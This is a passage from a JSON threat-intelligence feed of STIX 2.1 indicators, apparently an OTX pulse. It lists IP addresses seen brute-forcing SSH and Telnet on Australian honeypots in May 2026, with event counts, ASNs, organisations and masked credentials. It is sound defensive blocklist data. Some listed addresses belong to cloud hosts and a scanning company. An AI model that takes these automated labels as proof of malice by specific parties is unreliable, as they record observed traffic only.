      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28343. Organisation(s): UNIFIQUE TELECOMUNICACOES SA.",
      "id": "indicator--9e71ee56-153e-401c-9611-4eb14f448855",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.136.166.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 34700. Organisation(s): Maxnet Telecom, Ltd.",
      "id": "indicator--e136fb88-ad1c-49be-8403-b9cfae0d3eef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.165.125.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): r**t, c****s, 3**********4, T**t, a****2. Passwords observed (masked): 1****6, 0****9, 1**1, 1**4, 1***5.",
      "id": "indicator--7b097b8d-27ce-46cf-bad4-d9feb1267e99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.97.227.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--56d9b25d-92f5-412c-b1c4-df8a41613901",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--05a2c155-f39a-4d4a-b64f-f5fd4b30d923",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.31.210.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271951. Organisation(s): 4 EVER PLUG,C.A..",
      "id": "indicator--68e50f0c-9dba-40c0-9ba8-9345293f3d09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.196.73.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: OM. ASN(s): 204170. Organisation(s): Awaser Oman LLC.",
      "id": "indicator--60e99be9-874f-4785-b3be-c4facbd8f78f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.51.173.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): o******r. Passwords observed (masked): o******r.",
      "id": "indicator--82d857a3-1d9a-4f4b-a784-6578166e7797",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RS. ASN(s): 8400. Organisation(s): TELEKOM SRBIJA a.d..",
      "id": "indicator--97adb6ca-3157-4071-abb5-5c2ebf9e9cf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.93.234.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--6ff34712-e924-4c4d-8965-151e459384ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.244.176.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 7470. Organisation(s): TRUE INTERNET Co.,Ltd..",
      "id": "indicator--fd0b7662-7821-4393-81b9-e9fb39f08954",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.103.87.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): a***n, u****u, u**r, r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, #*******3, 0********9, 1***5.",
      "id": "indicator--9ede4597-1584-4cd5-8b94-4e7b01645461",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.165.24.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28548. Organisation(s): Cablevision, S.A. de C.V..",
      "id": "indicator--25e9a1e9-188e-4e64-9809-e552897704bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.216.43.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A.. Usernames observed (masked): u**r. Passwords observed (masked): Q******4.",
      "id": "indicator--4cba31f4-c297-47fa-bb77-609bd13caf86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.181.4.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB. Usernames observed (masked): a***n, u****u, u**r, r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, #*******3, 0********9, 1***5.",
      "id": "indicator--5ff43452-937d-49b8-a87a-ef026072543c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.208.22.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BH. ASN(s): 51375. Organisation(s): Stc Bahrain B.s.c Closed.",
      "id": "indicator--1681130e-0527-498b-b15b-0c08eb4ae731",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.184.141.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--00b13598-fe2f-4ba2-a0db-099b8f3c13a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.222.240.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--6ee4fc8c-2cfb-4fc8-9559-650a496cb91e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--8d974e63-f1fe-4fd5-b3fa-7eaaea32ff0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--8a0366af-075f-46e3-8b11-c16b969d7072",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--59cff2fa-9f35-459d-933b-13eb9d0eccc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 12714. Organisation(s): PJSC MegaFon. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--41b39a5a-ed19-448d-9587-3aaf42c9e79d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.220.204.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--621c67d2-2620-4d30-90a2-93f3c5b566f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.66.233.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:15:11.000Z",
      "valid_until": "2026-06-06T20:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36884. Organisation(s): MAROCCONNECT.",
      "id": "indicator--b0c61a44-3f3e-4d6d-adac-920c97cc7247",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.67.129.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266651. Organisation(s): R. M. TELECOM LTDA ME.",
      "id": "indicator--f065d566-dfa0-4221-85f1-5611b78a3c6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.201.41.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--611895f2-8ff8-4131-b946-379e8342aaf4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.172.46.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--30eacec2-56a1-4fbe-9e49-216ea1fa98b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.10.224.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--d270d208-efd9-42be-9203-845a316be673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.124.179.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A..",
      "id": "indicator--a0798488-e6fc-4fa3-86c5-d59142437891",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.117.188.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 21826. Organisation(s): Corporacion Telemic C.A..",
      "id": "indicator--1e3c1f73-18cd-4179-8d50-f4298963dbc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.82.188.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--54d4a914-5e49-4a4a-8d64-7348530ff9d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.111.150.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265561. Organisation(s): LANTOINTERNET SA DE CV.",
      "id": "indicator--bbc45b35-f2e5-4f68-ab3b-f17c050064f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.178.129.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--64925ba0-3002-42a6-acc1-ce5732c48d6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.1.226.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--e714df4e-a981-4361-b9ee-423f5fa8e626",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.242.224.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--60667214-a106-4ceb-81a0-05a71b459e28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.103.119.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--50b798b1-1619-4cec-a221-a0c70a270814",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.240.223.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:15:10.000Z",
      "valid_until": "2026-06-06T21:15:08.000Z"
    },
    {
      "created": "2026-05-05T22:15:11.000Z",
